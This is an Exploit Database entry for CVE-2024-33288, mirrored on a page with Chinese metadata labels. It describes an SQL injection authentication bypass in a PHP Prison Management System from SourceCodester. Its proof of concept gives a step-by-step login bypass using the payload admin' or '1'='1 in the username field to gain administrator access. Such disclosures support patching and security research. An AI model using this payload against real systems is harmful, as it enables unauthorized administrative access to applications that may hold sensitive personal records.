Prison Management System – SQL Injection Authentication Bypass

• Exploit Database
• 13 阅读

• 作者： Sanjay Singh
  日期： 2024-05-13
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/52017/

• # Exploit : Prison Management System Using PHP -SQL Injection Authentication Bypass
  # Date: 15/03/2024
  # Exploit Author: Sanjay Singh
  # Vendor Homepage: https://www.sourcecodester.com
  # Software Link:https://www.sourcecodester.com/sql/17287/prison-management-system.html
  # Tested on: Windows ,XAMPP
  # CVE : CVE-2024-33288
  
  
  # Proof of Concept:
  Step 1-Visit http://localhost/prison/
  Step 2 - Click on Admin Dashboard button and redirect on login page.
  Step 3– Enter username as admin' or '1'='1 and password as 123456
  Step 4 – Click sing In and now you will be logged in as admin.